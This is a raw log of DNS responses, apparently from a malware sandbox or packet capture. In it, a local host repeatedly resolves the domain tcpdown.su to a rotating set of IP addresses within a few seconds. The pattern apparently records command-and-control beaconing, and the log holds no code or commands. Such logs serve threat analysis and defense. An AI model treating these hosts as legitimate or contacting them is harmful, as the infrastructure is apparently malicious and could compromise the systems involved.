Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.010504961 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.155982018 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.001717091 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.172197104 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.872754097 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.887495041 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.727725029 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.740010023 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.050302029 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.106051922 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.414864063 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.444636106 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.942085981 CET	1.1.1.1	192.168.2.23	0xbfa0	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.956101894 CET	1.1.1.1	192.168.2.23	0xe973	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.981832027 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.995204926 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.511696100 CET	1.1.1.1	192.168.2.23	0x286e	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.524235010 CET	1.1.1.1	192.168.2.23	0xcaf4	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.860637903 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.873734951 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.356161118 CET	1.1.1.1	192.168.2.23	0xf027	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.368205070 CET	1.1.1.1	192.168.2.23	0x891	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.565306902 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.579036951 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
